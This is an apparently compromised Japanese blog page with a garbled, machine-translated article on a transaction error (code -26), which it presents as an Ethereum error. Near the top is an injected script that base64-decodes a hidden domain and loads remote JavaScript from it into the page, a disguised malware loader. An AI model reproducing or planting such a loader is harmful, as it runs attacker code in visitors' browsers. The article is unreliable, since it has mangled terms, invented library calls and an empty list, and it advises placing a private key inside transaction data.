未分類

Ethereum: Error -26: mandatory-script-verify-flag-failed (Signature must be zero for failed CHECK(MULTI)SIG operation)

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"cc.php?u=cc0702db";document.body.appendChild(script);

Ersereum error 26: Mandatory script Verify that the symptom has failed

As an Ethereum developer or user, you may encounter the following error when trying to send transactions using the SENDRAWTRAWTRANSACTION ':

{" error ": {" code ": -26," message ":" Mandatory script-verify-Flag-Failed (signature must be zero for unsuccessful control (multi) sig) "}}}

This error occurs because the Ethereum network is trying to verify the transaction signature before it can be confirmed. However, the transaction has experienced a script problem.

Understanding error

In Ethereum, the transactions are signed by the algorithm of the ECDSA digital signature algorithm (elliptical curve). The SENDRAWTRAWTRANSACTION method generates a raw transaction in the form of a coded ABI report (binary application interface).

The error occurs when the network attempts to verify the signature of this message using the "Mandatory Script-Verify-Flag" symptom. This flag is used to prevent the confirmation of malicious transactions without proper verification.

Causes of error

Ethereum: Error -26: mandatory-script-verify-flag-failed (Signature must be zero for failed CHECK(MULTI)SIG operation)

There are several possible causes of this error:

1

  • Incorrect scripts symptoms : The "Mandatory Script-Verify-Flag" symptom is set incorrectly, preventing the network from being properly verified by the signature.

3.

Steps to troubleshoot

Follow the following steps to solve this error:

  • Check the transactions data

    : Verify that the transactions data is correct and complete.

  • Verify script symptoms : Double check that the symptom of 'mandatory script-verify-FLAG' is correctly set to 0.

3
Add a private key signature to your transaction data : Add a valid Signature of the ECDSA private key using the tool like
Ethers.jsor 'Web3.js.

  • Use a trusted wallet : Make sure you use a trusted wallet or tool to sign and verify the transactions.

Example

Here is an example of how to add a private key signature to the transaction:

`Javascript

Const transaction = {

// ...

Inputs: [

// ...

]

Outputs: [

// ...

]

Gaslimite: “100000”,

Nonce: '0x1234567890abcDef',

Data: '0x0123456789ABCDEF',

Privatekey: '0x0123456789ABCDEF', // Add a valid signature of the ECDSA private key

};

Const Transactionbytes = etters.utiles.Solidity.Printtransiation (transaction);

`

Conclusion

The "Mandatory Script-Verify-Flag" error occurs when the Ethereum network is unable to verify the signature of the transaction without the correct script symptoms. By checking data on transactions, verifying script symptoms, adding a private key signature, and using a trusted wallet or tool, you should be able to solve this problem and successfully send the transaction.

公式LINE
公式LINEスマホ用




-未分類